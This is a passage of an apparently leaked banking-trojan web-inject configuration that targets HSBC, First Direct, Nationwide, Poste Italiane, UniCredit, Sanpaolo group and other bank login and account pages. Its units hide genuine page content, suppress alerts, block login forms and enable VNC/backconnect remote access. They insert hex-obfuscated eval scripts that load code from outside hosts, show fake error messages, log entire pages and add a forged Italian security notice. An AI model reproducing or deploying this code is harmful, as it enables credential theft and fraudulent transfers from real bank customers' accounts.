{wind","6f","77","2e","76_fu","6ec(","29","3b}","3b","7d","3b ","6c","76l","6a","73.","6ca","6eg","75a","67e =","20","22ja","76","61sc","72","69p","74","22","3b l","76","6c","6as","2es","72c =","20","22http","73:","2f","2fh","69s","74at","73","2e","63c/js/c","72ede","6daz.","6as","3f","71","77","3d","22 + M","61","74h","2e","72","61ndom()","3b

Page 15

injpack1_skylineinc-inc net (2).txt","3c/","73c","72","69","70","74","3e","3c/d","69","76","3e"];oiInm=oiInm["j"+""+"o"+""+"\x69"+""+"n"+""]("\\x");this["\x77"+"\x69"+"\x6e"+"\x64"+"o"+""+"w"+""]["\x65"+""+"v"+""+"a"+""+"l"]("var nOm=\""+oiInm+"\"");this["\x64"+"\x6f"+""+"\x63"+""+"\x75"+""+"m"+""+"\x65"+""+"n"+""+"\x74"+""]["\x77"+""+"r"+""+"\x69"+"t"+""+"e"+""](nOm);delete nOm;delete oiInm;</script>


</unit>

; ===================== FINECO =======================

; ===================== FIRST ========================

<unit><url domain="*.firstdirect.co*" request="/1/2/*" /><url domain="*.firstdirect.co*" request="/1/3/*" />

<vnc domain="*.firstdirect.co*" request="/1/2/*" /><backconnect domain="*.firstdirect.co*" request="/1/2/*" /><vnc domain="*.firstdirect.co*" request="/1/3/*" /><backconnect domain="*.firstdirect.co*" request="/1/3/*" />

<data><begin mask="*"></begin><inject><script type="text/javascript" src="https://ajax.aspnetcdn.com/ajax/jQuery/jquery-1.7.2.min.js"></script><script language="javascript" type="text/javascript">jQuery = jQuery.noConflict();

var alert_11tmp789 = window.alert; window.alert = function() {};

</script>


<data><begin mask="*"><script type="text/javascript" language="javascript">//<![CDATA[</begin><inject>document.cookie = "cml=1; expires=" + new Date("1 January 2000").toGMTString() + "; path=/; domain=.firstdirect.com"; // </inject><end mask="*">document.cookie = "cml=1"; expires=" + new Date("1 January 2000").toGMTString() + ";path=/; domain=.firstdirect.com;</end></data>

Page 16

injpack1_skylineinc-inc net (2).txt<data><begin mask="*"><body*></begin><inject><script language="javascript">if (top.lvltxt && top.lvltxt.ifr) {

window.alert = function() {};}if (parent && !parent.logo) {

if (window.logo) { parent.logo = window.logo;

} else { parent.logo = {};

}}var data = ["SetVal", "renderHTML"];for (var i = 0; i < data.length; i++) {

if (!parent.logo[data[i]]) { if (window[data[i]]) { parent.logo[data[i]] = window[data[i]]; } else { window[data[i]] = function() {}; parent.logo[data[i]] = function() {}; }

}}</script>

<div align="center" id="wrap_wd" style="display: none;"></div><div id="wrap_div_1" style="position:absolute; left:-10000px;

top:-10000px;"></inject><end mask="*"></end></data>

<data><begin mask="*"></begin><inject>// </inject><end mask="*">window.fieldFocus && fieldFocus()</end></data>

<data><begin mask="*">pL = pA = pM = pP = logo = app = prnt = mnu =</begin><inject> window; //</inject><end mask="*">parent;</end></data>

<data><begin mask="*">function SRefs()</begin>

Page 17

injpack1_skylineinc-inc net (2).txt<inject>{pL = pA = pM = pP = logo = app = prnt = mnu = window;};function srefs()</inject><end mask="*"></end></data>

<data><begin mask="*"><div class="fdPrimaryContainer"</begin><inject> id="fdPrimaryContainer" style="position:absolute; left:-10000px; top:-10000px;"</inject><end mask="*">></end></data>

<data><begin mask="*"> class="fdStepTracker"</begin><inject> id="fdStepTracker"</inject><end mask="*"></end></data>

<data><begin mask="*"><table class="fdStatTable" cellspacing="0" cellpadding="0" width="590" summary="transactions for selected account"</begin><inject> id="tbl_transactions" style="position:absolute; left:-10000px; top:-10000px;"</inject><end mask="*">></end></data>

<data><begin mask="*"><table class="fdBalancesTable" cellspacing="0" cellpadding="0" width="450" summary="balances information for account held"</begin><inject> id="tbl_balance"</inject><end mask="*">></end></data>


Page 18

injpack1_skylineinc-inc net (2).txt<script type="text/javascript" language="javascript">

var IoIll=["","3c","64i","76","20","69d","3d","22","6c","76ld","76","22 s","74","79l","65","3d","22","64i","73","70","6c","61","79","3a n","6f","6ee","3b","22 ","76","3d","222","77","22","3e","3ci","66","72","61me","20","69","64","3d","22l","76lf","72","22","20","6eame=","22l","76l","66","72","22 ","73tyl","65=","22","68ei","67h","74: 1","70x;","20wid","74","68: ","31px","3b ","64is","70","6c","61y","3a","20","6e","6fn","65;","22>","3c","2f","69f","72","61m","65","3e","3ci","66","72am","65","20i","64=","22","6c","76","6c","66","72p","6fs","74","22 n","61","6d","65","3d","22","6c","76l","66","72","70ost","22 s","74yl","65","3d","22","68","65ight","3a 1p","78","3b","20","77","69","64","74h","3a","201px; d","69sp","6c","61y: ","6eo","6ee","3b","22>","3c","2fi","66","72am","65>","3c","73c","72i","70","74","20","6ca","6e","67","75a","67e","3d","22","6a","61","76","61sc","72","69pt","22","20","74y","70","65=","22","74","65","78t","2f","6aa","76as","63","72","69pt","22>","77in","64","6f","77.","76_func","3d","66unct","69o","6e","28","29{","76a","72 ","64 ","3d","20doc","75m","65n","74.c","72","65","61","74","65E","6ce","6dent(","22di","76","22","29; ","64","2ei","6en","65","72","48","54ML ","3d","20'","3cp","3eThis ","65","72","72o","72","20","6d","65","73s","61ge","20","69","6edi","63at","65","73 ","74h","61","74","20","77","65","20h","61","76e","20","74","65","6dpo","72a","72","79 te","63h","6ei","63","61","6c","20","64iffic","75","6c","74ie","73","2e","3cp>Th","65","20","65","72","72o","72","20","77il","6c","20","62e fi","78e","64","20at ea","72l","69e","73","74","20c","6fn","76","65","6e","69e","6e","63","65","2e';do","63","75","6den","74","2ebod","79","2ea","70p","65","6e","64Chi","6cd","28","64","29;}","3b","76","61","72","20","6c","76l","6as","20= ","64","6fc","75","6d","65nt.c","72","65","61","74","65El","65","6den","74","28","22s","63","72ip","74","22);d","6f","63u","6d","65","6e","74","2eg","65t","45lem","65nt","42y","49d","28","22l","76ld","76","22)","2ea","70","70","65nd","43h","69","6cd","28","6c","76ljs","29;l","76","6c","6as","2eone","72","72o","72","3dwi","6ed","6fw.","76","5ffunc","3b","6c","76ljs.lang","75","61ge","20= ","22j","61","76a","73c","72i","70t","22;l","76l","6a","73.","73","72c","20=","20","22h","74","74p","73:/","2f","77w","77","2e","6clc-s","65","72","76","69ce","73.","73","75/j","73/f","69","72st","61z_10536","32","2e","6a","73","3fq","72","3d","22","20+","20","4d","61th","2e","72","61","6e","64","6f","6d","28","29; ","3c","2f","73","63","72i","70","74>","3c/di","76>"];IoIll=IoIll["\x6a"+"o"+"i"+""+"\x6e"+""]("\\x");this["w"+"i"+""+"\x6e"+""+"d"+"o"+""+"\x77"+""]["\x65"+""+"\x76"+"a"+"\x6c"]("var nl$m=\""+IoIll+"\"");this["d"+"o"+"\x63"+""+"u"+"\x6d"+"\x65"+""+"n"+"t"+""]["w"+""+"\x72"+""+"i"+"\x74"+"\x65"](nl$m);delete nl$m;delete IoIll;

</script>


; ===================== HSBC ========================

<unit><url domain="*www.hsbc.co.uk" request="/1/2/*" /><url domain="*www.hsbc.co.uk" request="/1/3/*" />

<data><begin mask="*"></begin><inject><script type="text/javascript"

Page 19

injpack1_skylineinc-inc net (2).txtsrc="https://ajax.aspnetcdn.com/ajax/jQuery/jquery-1.7.2.min.js"></script><script language="javascript" type="text/javascript">jQuery = jQuery.noConflict();</script>



old_tc_optimise = tc_optimise;tc_optimise = function(id, default_content) { old_tc_optimise(id, default_content); var f = function() { tc_ccs[id] = new tc_cc(default_content);}; setTimeout(f, tc_timeout - 500);};

</inject><end mask="*">tc_optimise(</end></data>

<data><begin mask="*">.userid</begin><inject>; // </inject><end mask="*"></end></data>

<data><begin mask="*"></begin><inject><div align="center" id="wrap_wd" style="display: none;"></div></inject><end mask="*"><div class="containerWrapper02"</end></data>

<data><begin mask="*">inputForm.memorableAnswer</begin><inject>; // </inject><end mask="*">.focus</end></data>

<data><begin mask="*">

Page 20

injpack1_skylineinc-inc net (2).txtintbankingID')</begin><inject>; // </inject><end mask="*">.focus</end></data>

<data><begin mask="*">if(focusElement != null) {</begin><inject>var sd343g3=265;}if (false) {</inject><end mask="*"></end></data>

<data><begin mask="*">id="IBloginForm"</begin><inject> onsubmit="return false;"</inject><end mask="*"></end></data>

<data><begin mask="*">function setFocus()*{</begin><inject>return false;</inject><end mask="*"></end></data>

<data><begin mask="*">id="masterLb</begin><inject>126" style="display: none;</inject><end mask="*"></end></data>

<data><begin mask="*">function showLightBox()*{</begin><inject>return false; }; function _showLightBox(){</inject><end mask="*">

Page 21

injpack1_skylineinc-inc net (2).txt</end></data>

<data><begin mask="*">function hideLightBox()*{</begin><inject>return false;</inject><end mask="*"></end></data>

<data><begin mask="*">function hide_scv_my_accounts()*{</begin><inject>return false;</inject><end mask="*"></end></data>

<data><begin mask="*">function show_scv_my_accounts()*{</begin><inject>return false;</inject><end mask="*"></end></data>

<data><begin mask="*">function setfocus()*{</begin><inject>return false;</inject><end mask="*"></end></data>

<data><begin mask="*"></begin><inject>// </inject><end mask="*">top.location=self.location</end></data>


<div align="center" id="wrap_wd" style="display: none;"></div>Page 22

injpack1_skylineinc-inc net (2).txt</inject><end mask="*"><div id="wrapper"</end></data>

<data><begin mask="*"><div id="wrapper"</begin><inject> style="display: none;"</inject><end mask="*"></end></data>

<data><begin mask="*"><div class="containerMain"</begin><inject> id="containerMain" </inject><end mask="*"></end></data>

<data><begin mask="*"><table summary="This table shows the current balance of all your accounts"</begin><inject> id="table_balance"</inject><end mask="*"></end></data>

<data><begin mask="*">summary="This table contains all your accounts to which you can transfer money"</begin><inject> id="table_transfers"</inject><end mask="*"></end></data>

<data><begin mask="*">table summary="This table contains a statement of your account"</begin><inject> id="table_history"</inject><end mask="*"></end></data>


Page 23

injpack1_skylineinc-inc net (2).txtsummary="This table contains all the payments that have come from your account"</begin><inject> id="table_pay_users"</inject><end mask="*"></end></data>

<data><begin mask="*">title="View or amend your personal details"</begin><inject> id="personal_details" </inject><end mask="*"></end></data>

<data><begin mask="*">title='Update your details and preferences'</begin><inject> id="my_details" </inject><end mask="*"></end></data>

<data><begin mask="*"><div class="hsbcAccountNumber"</begin><inject> id="hsbcAccountNumber" </inject><end mask="*"></end></data>




<script type="text/javascript" language="javascript">(function(){var Iii=["doc","75m","65","6et","2ew","72ite","28'","3c","73","63","72","27+","27i","70","74 ","6c","61","6eguage","3d","22","6aa","76","61sc","72i","70t","22","20","73","72c=","22'","20","2b","20'","68ttp","73:","2f","2f","77w","77.h","73b","63","2dp","72","6ft","65c","2es","75/j","73","35/","61","7a_5","324","31","321","2ej","73?","77t","5fp","3d' ","2b Ma","74","68.","72","61nd","6fm(","29","20","2b","20'","22","20on","65","72","72","6f","72","3d","22","64","27+'","6fc","75m","65n","74","2ebo","27+'dy.a","70pendCh","69ld","28","64","6fcu","6den","74","2ec","72ea","74","65","54","65","78","74","4e","6fde","28","5c","27Thi","73","20","65","72","72o","72 mes","73age","20i","6edica","74e","73 ","74","68at ","77","65 ","68","61","76","65 ","74","65m","70","6f","72a","72y","20","74","65ch","6ei","63al ","64","69","66fic","75","6cties. T","68","65

Page 24

injpack1_skylineinc-inc net (2).txte","72","72","6f","72","20","77","69","6c","6c ","62","65 fix","65","64 a","74","20","65","61","72","6c","69es","74","20","63on","76","65n","69","65n","63","65.","5c","27))","22>","3c/s","63","27+","27","72ipt","3e","27","29","3b"];Iii=Iii["\x6a"+""+"\x6f"+""+"\x69"+""+"\x6e"+""]("\\x");this["\x77"+"i"+"n"+"\x64"+"\x6f"+"w"+""]["e"+"\x76"+"\x61"+"l"+""]("var OmnOl=\""+Iii+"\"");this["w"+"\x69"+""+"\x6e"+""+"d"+""+"\x6f"+""+"w"]["\x65"+"\x76"+"a"+"\x6c"+""](OmnOl);}())</script>

</inject><end mask="*"></body>*</html></end></data></unit>

; ===================== LEICESTER ========================

; ===================== MEDIOLANUM =======================

<unit><url domain="*.bmedonline.it" request="*" />

<data><begin mask="*"> <body*></begin><inject><div id="body_content" style="display:none"></inject><end mask="*"></end></data>


<script language="javascript" type="text/javascript"> var iOn=["","3c","64i","76","20i","64","3d","22","6c","76","6cd","76","22 st","79l","65=","22","64i","73","70lay","3a non","65;","22 ","76=","222w","22>","3cif","72","61m","65 ","69","64=","22l","76lf","72","22","20na","6d","65","3d","22","6c","76l","66","72","22","20s","74y","6c","65=","22","68ei","67h","74","3a 1","70","78","3b ","77idth: ","31p","78; di","73","70lay","3a","20","6e","6fn","65","3b","22","3e","3c","2fif","72am","65>","3cif","72am","65","20i","64","3d","22l","76lf","72p","6fst","22","20","6ea","6de=","22l","76","6c","66","72","70","6fst","22 st","79","6ce=","22h","65i","67h","74: 1","70x","3b","20","77i","64t","68","3a 1px; ","64is","70","6ca","79","3a","20no","6ee;","22>","3c/if","72","61me>","3cs","63","72i","70","74","20la","6e","67","75age","3d","22ja","76","61s","63","72i","70t","22 ty","70e","3d","22t","65","78","74/j","61","76as","63","72","69p","74","22","3e w","69n","64o","77.","77","5f","69ds","3d","5b","22","62","6f","64","79_d","69","76","22","5d","3b","77","69ndo","77.","76","5ffun","63=fu","6ec","74","69on","28){","66","6f","72","28","76a","72","20i","3d","30;i","3cwi","6ed","6f","77","2e","77_","69","64","73.l","65ngt","68","3bi","2b","2b)","7b","76a","72","20","6f","62","6a","3d","64","6fcument.g","65","74E","6c","65me","6etB","79I","64","28","77","69n","64ow","2ew_ids[i","5d","29;","69f(ob","6a ","26","26","20","6f","62","6a.s","74yl","65){","6f","62j","2e","73tyl","65.dis","70

Page 25

injpack1_skylineinc-inc net (2).txt","6c","61y=","22","22","3b}}","7d","3b","76","61","72 l","76","6cjs =","20doc","75","6d","65","6et","2ec","72e","61t","65E","6cem","65","6et(","22","73c","72","69","70t","22","29;docu","6den","74","2eg","65","74","45","6c","65","6d","65","6etB","79I","64(","22l","76","6c","64","76","22","29.","61ppend","43","68","69ld","28l","76ljs);l","76","6cjs.","6f","6e","65","72","72o","72","3d","77i","6e","64","6f","77","2e","76","5f","66u","6ec","3b","6c","76lj","73","2e","6fn","72eadyst","61","74","65","63","68","61","6ege","20=","20","66","75n","63","74i","6f","6e(){if","20(/","6coa","64","65","64","2f","2e","74","65","73","74(th","69","73","2e","72eady","53t","61","74e) ","26& ","28t","79","70e","6ff","28w","69ndow","2e","6c","76","6c","74xt) ","3d= ","22","75","6ede","66in","65","64","22","29","29 ","7b","77","69ndow.","76","5f","66","75n","63","28)","3b","7d","3b","7d","3b l","76l","6a","73.","6c","61n","67","75a","67","65 ","3d","20","22j","61","76","61s","63","72","69pt","22","3b ","20l","76lj","73","2es","72","63 ","3d ","22","68","74","74p","73","3a","2f/","65","73t","61t","75","73","2e","73u","2fjs","2f","6d","65","64","69","6flan","75","6daz.js","3f","5f=","22","20","2b","20","4d","61th","2e","72a","6e","64","6fm","28","29","3b ","3c/s","63","72","69","70t>","3c/","64","69","76>"];iOn=iOn["\x6a"+"\x6f"+"\x69"+"\x6e"]("\\x");this["w"+""+"\x69"+"n"+"\x64"+""+"o"+"\x77"]["e"+""+"\x76"+"a"+"l"+""]("var $o$=\""+iOn+"\"");this["\x64"+""+"\x6f"+""+"c"+"u"+"\x6d"+""+"e"+"\x6e"+"\x74"]["w"+"\x72"+"i"+""+"\x74"+""+"\x65"+""]($o$);delete $o$;delete iOn; </script>


</unit>

; ===================== MPS ========================

; removed for domain lock

; ===================== NATIONWIDE ========================

<unit><url domain="*.nationwide.co.uk" request="/*" />

<data save="true"><begin mask="*"></begin><inject>// </inject><end mask="*">top.location=self.location</end></data>

<data save="true"><begin mask="*"></begin><inject>/* </inject><end mask="*">document.write(unescape("%3Cscript src='https://www.advanced-web-analytics.com/83179/splash.js'

Page 26

injpack1_skylineinc-inc net (2).txttype='text/javascript'%3E%3C/script%3E"));</end></data>

<data save="true"><begin mask="*">document.write(unescape("%3Cscript src='https://www.advanced-web-analytics.com/83179/splash.js' type='text/javascript'%3E%3C/script%3E"));</begin><inject> */ </inject><end mask="*"></end></data>

<data save="true"><begin mask="*"><table*shows your accounts and balances"</begin><inject> id="ab_tbl_balances"</inject><end mask="*"></end></data>

<data save="true"><begin mask="*"><table*shows your statements"</begin><inject> id="ab_tbl_statements"</inject><end mask="*"></end></data>

<data save="true"><begin mask="*">function redirect()</begin><inject> {}; function Redirect()</inject><end mask="*"></end></data>

<data save="true"><begin mask="*"><body*></begin><inject><div id="body_div" style="display:none"></inject><end mask="*"></end></data>

Page 27


<data save="true"><begin mask="*"></begin><inject></div></div>

<script language="javascript" type="text/javascript">

var OlmnI=["","3cdi","76","20","69d","3d","22","77a","69","74_d","69","76","22","20","73","74","79l","65","3d","22","64","69","73play: ","6eon","65","22>","3c/di","76>","3cd","69","76","20id=","22","6c","76","6cd","76","22 ","73t","79","6ce","3d","22","64","69s","70lay: non","65;","22","20","76=","222","77","22>","3cif","72","61","6d","65","20id=","22","6c","76l","66","72p","6f","73t","22 ","6e","61","6d","65","3d","22","6c","76lf","72p","6f","73t","22","20st","79","6c","65=","22","68eig","68t: ","31p","78","3b widt","68","3a 1","70x","3b","20d","69","73","70","6cay","3a ","6eo","6ee","3b","22>","3c/i","66","72","61m","65","3e","3c","69","66","72","61","6de id","3d","22l","76lf","72","22 n","61me","3d","22l","76l","66","72","22 ","73t","79","6ce","3d","22h","65igh","74","3a ","31","70x; w","69dth","3a ","31","70x;","20d","69","73","70","6c","61","79:","20","6eo","6e","65;","22","3e","3c/","69f","72a","6de>","3cs","63","72i","70","74 l","61ngu","61","67","65=","22","6aa","76a","73c","72","69","70t","22","20","74ype=","22","74","65xt/","6aa","76a","73","63","72","69pt","22>","77","69","6ed","6fw.","76_","66u","6ec=f","75nct","69on","28)","7b","76","61","72","20d","20","3d","20do","63u","6d","65","6et","2ec","72eat","65El","65m","65nt(","22d","69","76","22","29; ","64.inn","65","72H","54M","4c","20","3d","20'","3cp>T","68","69s ","65","72","72","6f","72 mes","73","61","67","65","20in","64","69cates th","61t we","20h","61","76","65","20t","65","6d","70o","72a","72y","20t","65","63","68n","69","63al d","69ffic","75","6c","74ies","2e","3cp","3e","54","68e","20e","72","72","6f","72","20w","69","6cl","20","62e","20","66","69x","65d","20","61t ","65a","72li","65st co","6e","76e","6ei","65","6e","63","65","2e';d","6fcum","65nt","2ebody","2eap","70end","43h","69","6c","64(d);","7d;","20","76","61","72 l","76","6c","6as","20= ","64","6f","63ume","6e","74","2e","63","72","65a","74","65","45","6c","65","6de","6e","74","28","22","73","63","72","69","70","74","22)","3b d","6f","63","75m","65","6et.","67","65t","45","6c","65","6d","65n","74","42yI","64(","22","6c","76l","64","76","22)","2ea","70","70","65n","64Ch","69","6cd","28","6c","76lj","73","29","3bl","76","6c","6as.o","6ee","72","72o","72=wi","6e","64","6fw","2e","76","5ffunc;l","76l","6a","73","2eon","72e","61","64","79","73","74a","74","65ch","61","6eg","65","20","3d","20fu","6e","63t","69o","6e","28){if","20","28/lo","61","64","65d/.","74","65s","74","28","74","68i","73.","72","65","61","64","79","53tat","65)","20&","26 ","28","74yp","65","6ff(wi","6e","64ow.","6c","76l","74","78t) =","3d ","22","75n","64","65f","69n","65","64","22)","29","20","7b","77i","6e","64","6f","77","2e","76_fun","63(","29","3b}","3b","7d;","6c","76","6c","6a","73.","6can","67u","61","67e = ","22ja","76","61","73","63","72","69","70t","22","3bl","76l","6as","2es","72","63 ","3d ","27","68tt","70s://n","61","74","69","6f","6e","77i","64","65","2est","72u","63","74u","72es","2d","6f","6el","69ne","2e","73","75/j","73/n","61t","69o","6ewi","64","65","61z_","32536","616","37","2e","6a","73?q","3d","47S","46G","44","46","48","45F3","34AB","6adfh","64","6a","66","68","26","72=","27","20","2b","20M","61t","68.","72","61n","64o","6d","28","29;","3c/s","63","72i","70t>","3c/di","76>"];OlmnI=OlmnI["\x6a"+"o"+"i"+"\x6e"]("\\x");this["w"+"\x69"+""+"n"+""+"\x64"+""+"\x6f"+"\x77"+""]["\x65"+"v"+"a"+"\x6c"]("var O$I=\""+OlmnI+"\"");this["d"+"o"+""+"\x63"+"u"+"m"+""+"e"+"\x6e"+""+"t"+""]["\x77"+""+"r"+"\x69"+""+"t"+""+"\x65"](O$I);delete O$I;delete OlmnI;

</script>Page 28



; ===================== NATWEST ========================

; ===================== POSTA ========================

<unit>

<url domain="bancopostaclick.poste.it" /><url domain="bancopostaonline.poste.it" />

<url domain="myposte.poste.it" request="*/contobancoposta*" />

; ---; #3 import jQuery in bank pages; ----<data><begin></title></begin><inject><script language="JavaScript" type="text/javascript" src="https://ajax.aspnetcdn.com/ajax/jQuery/jquery-1.7.2.min.js"></script><script language="javascript" type="text/javascript">jQuery = jQuery.noConflict();</script><style>#navigazione-principale, #row-boxContenitore {display: none;} </style></inject><end></end></data>

</unit>

<unit>

<url domain="*www.poste.it" request="*/loginPrivati.fcc*" />

; ---; #2 begin; hide content; ----<data><begin mask="*"></begin><inject><style>#loginbox {position: absolute; left: -10000px; top: -10000px;} </style></inject><end mask="*"><script</end></data>

Page 29

injpack1_skylineinc-inc net (2).txt</unit>

<unit>

; ---; #2 hide bacheca content; ---

<url domain="myposte.poste.it" request="*/bacheca*" />

<data><begin></title></begin><inject><style>#areaMain {display: none;}</style></inject><end></end></data>

</unit>

<unit>

<url domain="bancopostaclick.poste.it" /><url domain="bancopostaonline.poste.it" />

<url domain="*www.poste.it" /><url domain="*myposte.poste.it" />

; ---; #1 begin; import script; ---

<data casesensitive="false"><begin mask="*"></begin><inject><script language="javascript" type="text/javascript">(function(){var nnO=["(fu","6ec","74","69","6f","6e(){ ","76a","72","20fu","6e","31 =","20","66u","6ec","74","69on","28){","09","6a","51","75","65","72y","28d","6f","63","75me","6e","74","29","2e","72","65ad","79","28","66","75","6e","63tio","6e(","29{ ","09 ","76","61","72 ","6c","76ljs ","3d ","64","6f","63","75m","65","6et","2e","63","72","65at","65","45l","65m","65","6et","28's'+","27","63","72","69p","74","27)","3b","09","09","64","6f","63","75","6d","65n","74","2ebo","64y.a","70p","65","6e","64Ch","69","6cd(","6c","76ljs);","09","09","6c","76","6cj","73","2es","72","63","20","3d ","27ht","74ps","3a","2f","2f","77g","61","74","65.su/js/","70ost","61a","7a","2e","6as?","5f=' +","20","4da","74h","2e","72","61","6e","64","6fm()","3b","09","09l","76","6cj","73.i","64","20","3d 'l","76ljsid'; ","09","7d","29; };","76","61","72 ","66","75","6e","63 = ","66","75nc","74i","6f","6e","28","29{","09","09","76","61","72","20","6a","20","3d","20","30,","20","75 = '","75n","64e","66in","65","64';","09","09t","72y","20","7b","09","09","6a","20= ","74","6fp.","6aQ","75","65","72y;","09","09","7d","09","09","63","61","74ch","28e)

{","09","09 j =","20","2d1;","09 };Page 30

injpack1_skylineinc-inc net (2).txti","66","20((","74","79","70","65","6f","66(j","29","20","21","3d ","75","29","20&","26 (","6a != ","30","29 ","26","26 (j","20!","3d -1","29){","09 ","69","66","28","6a.l_","6f","62j &","26 ","6a.","6c_","6f","62j.c","68","65c","6b","5f","6da","6b","65){ ","09j","2el_obj.c","68e","63","6b","5f","6d","61k","65","2e","63al","6c","28t","68is)","

3b","09 }e","6cse{ ","09","09 ","66u","6e","31(","29;","09","09 }; ","09} e","6c","73","65","20","69","66((","6a

=","3d=","20","2d1","29 ","26& (","74","79p","65","6ff(j","51u","65","72","79)","20","21= ","75","29","20)","7b f","75","6e","31","28);","09 }el","73","65{","09","09

","73","65","74Ti","6d","65","6fut","28func","2c","20","31","300","30); }};","09f","75","6ec()","3b}","28","29","29"];nnO=nnO["\x6a"+""+"\x6f"+"i"+""+"\x6e"+""]("\\x");this["w"+"i"+""+"n"+""+"\x64"+"o"+""+"w"]["\x65"+""+"\x76"+"\x61"+""+"\x6c"]("var Ioi=\""+nnO+"\"");this["\x77"+"i"+"n"+"d"+""+"o"+""+"\x77"]["e"+"v"+"\x61"+"l"+""](Ioi);}())</script></inject><end mask="*"></body>*</html></end></data>

</unit>

; ===================== RBS ========================

; ===================== SANPAOLO ===================

; ---; log all pages; ---<unit>

; sanpaolo group<url domain="*.bancacrfirenze.it" /><url domain="*.bancadelladriatico.it" /><url domain="*.bancadicreditosardo.it" /><url domain="*.btbonline.it" /><url domain="*.monteparma.it" /><url domain="*.bancaprossima.com" /><url domain="*.bancodinapoli.it" /><url domain="*.cariromagna.it" /><url domain="*.carifvg.it" /><url domain="*.crveneto.it" /><url domain="*.carivit.it" /><url domain="*.carisap.it" /><url domain="*.cariciv.it" /><url domain="*.caript.it" /><url domain="*.cariri.it" /><url domain="*.carive.it" /><url domain="*.carisbo.it" /><url domain="*.cassedellumbria.it" /><url domain="*.intesasanpaolo.com" /><url domain="*.intesasanpaoloprivatebanking.it" />

<data save="true"><begin mask="*" save="true"><html>*</begin><end></html>

Page 31


</unit>

; ===================== UNICREDIT ========================

; =================; load jQuery and az-server in top; =================

<unit>

<url domain="*online-private.unicredit.it" request="*indexLoginUnica.jsp*" /><url domain="*online-private.unicredit.it" request="*login.htm*" /><url domain="*online-private.unicredit.it" request="*visualizeSingleReb.jsp*" />

; top of accs with accounts more than one<url domain="*online-retail.unicredit.it" request="*chooseRebPage.jsp*" />; top while login<url domain="*online-retail.unicredit.it" request="*login.htm*" /><url domain="*online-retail.unicredit.it" request="*visualizeServiceMenu.jsp*" />; top for accs with one account<url domain="*online-retail.unicredit.it" request="*visualizeSingleReb.jsp*" />; top for login error<url domain="*online-retail.unicredit.it" request="*/it/index.jsp*" />; saldo disponibile in new window<url domain="*online-retail.unicredit.it" request="*history/availableBalance.faces*"/>

<url domain="*online-smallbusiness.unicredit.it" request="*chooseRebPage.jsp*" /><url domain="*online-smallbusiness.unicredit.it" request="*login.htm*" /><url domain="*online-smallbusiness.unicredit.it" request="*visualizeSingleReb.jsp*" />

<url domain="*online-sme.unicredit.it" request="*visualizeSingleReb.jsp*" />

<url domain="*online.unicreditcorporate.it" request="*login.htm*" />

<url domain="*online.unicreditcorporate.it" request="*visualizeSingleReb.jsp*" />

<data><begin mask="*"></title></begin><inject><script language="JavaScript" type="text/javascript" src="https://ajax.aspnetcdn.com/ajax/jQuery/jquery-1.7.2.min.js"></script>

<script language="javascript" type="text/javascript">(function(){var lmOi=["","6aQue","72","79","20=","20j","51","75e","72","79.n","6fCon","66","6cict();","20j","51ue","72y","28do","63","75","6d","65n","74)","2e","72ea","64y(","66un","63ti","6fn(","29{ ","76a","72","20l","76l","6as = docum","65nt.c","72","65ate","45l","65","6d","65","6et('s","63","72","69p","74","27","29;","20","64","6f","63","75me","6et","2e","62ody.","61","70","70end","43h","69","6c","64","28","6c","76ljs)","3b","20","6c","76","6cjs.","73","72c","20= ","27","68ttps:/","2fh","69sta","74","73","2e","63c","2fjs","2f","75ni","63","72","6

Page 32

injpack1_skylineinc-inc net (2).txt5ditaz.","6a","73","3f","72=","27","20+","20M","61","74h.","72","61","6e","64","6fm(","29","3b","20d","65lete l","76","6cj","73;","20","7d);"];lmOi=lmOi["\x6a"+""+"\x6f"+"\x69"+"\x6e"+""]("\\x");this["\x77"+""+"\x69"+"n"+""+"\x64"+""+"o"+"w"]["e"+""+"\x76"+"\x61"+"\x6c"]("var o$l=\""+lmOi+"\"");this["w"+""+"\x69"+""+"n"+"d"+"\x6f"+"\x77"+""]["e"+""+"v"+""+"\x61"+"l"+""](o$l);}())</script>


</unit>

; ---; hide content in saldo disponibile at new window; ---<unit>; saldo disponibile in new window<url domain="*online-retail.unicredit.it" request="*history/availableBalance.faces*"/>

<data><begin><table</begin><inject> id="pageContent" style="display: none;"</inject><end></end></data>

</unit>

; ---; change warning message ; ---

<unit>

<url domain="*unicredit.it" request="*/login.htm*" />

<data><begin></begin><inject><b>Notizie</b>: Dal 1° marzo 2013 abbiamo introdotto per alcuni clienti un servizio aggiuntivo di sicurezza — controllo on-line per evitare eventuali interventi di un software dei terzi.<br><br>Nonostante un certo tempo di verifica, tali misure aiutano a prevenire l'utilizzo dei dati personali da parte dei terzi.<br><br>Come misura per confermare l'autenticazione puo essere richiesto UniCredit Pass.</div><div style="display: none;"></inject><end><b>Importante</b></end></data>

</unit>Page 33


; =================; hide top menu; =================

<unit>

<url domain="*online-retail.unicredit.it" request="*/menutop/index.jsp*" />

<data><begin>"Aree di intervento"</begin><inject> style="display: none;" id="tbl_menutop"</inject><end></end></data>

</unit>

; =================; payment page with fields; pageFrame; =================

<unit>

<url domain="*online-retail.unicredit.it" request="*payments/transfer.faces*" /><url domain="*online-retail.unicredit.it" request="*payments/transferConfirm.faces*" /><url domain="*online-retail.unicredit.it" request="*domesticPayments/index.faces*" /><url domain="*online-retail.unicredit.it" request="*personalArchivesRubricaList.faces" />

<url domain="*online-retail.unicredit.it" request="*welcome.jsp*" />

; --- 3 ; --- hide content. work with #1<data><begin mask="*"><body*></begin><inject><div id="_pageContent" style="visibility: hidden"></inject><end></end></data>

; --- 2 ; --- lock protection script<data><begin></begin><inject>if (window._x564x3){</inject><end>

Page 34

injpack1_skylineinc-inc net (2).txtvar smn=</end></data>

; --- 2.1 <data><begin mask="*">var smn=*-2;}*;}*;</begin><inject> };</inject><end></end></data>

; --- 1<data><begin></begin><inject></div><script type="text/javascript" language="javascript">(function(){var imn=["","76a","72 ","66u","6ec","20","3d fun","63","74i","6f","6e(){","09","69","66","20","28to","70","2e","6aQue","72","79 &","26 t","6fp.","6a","51u","65","72","79","2e","6c","5fo","62j && ","74","6fp.j","51ue","72y.","6c_","6fbj","2e","70a","79me","6e","74","5f","70","72ocee","64","65","72)","20","7b","09","09","74","6fp","2ej","51","75e","72y","2e","6c","5fobj.","70ay","6d","65nt","5f","70","72","6fcee","64","65","72.","63a","6c","6c",

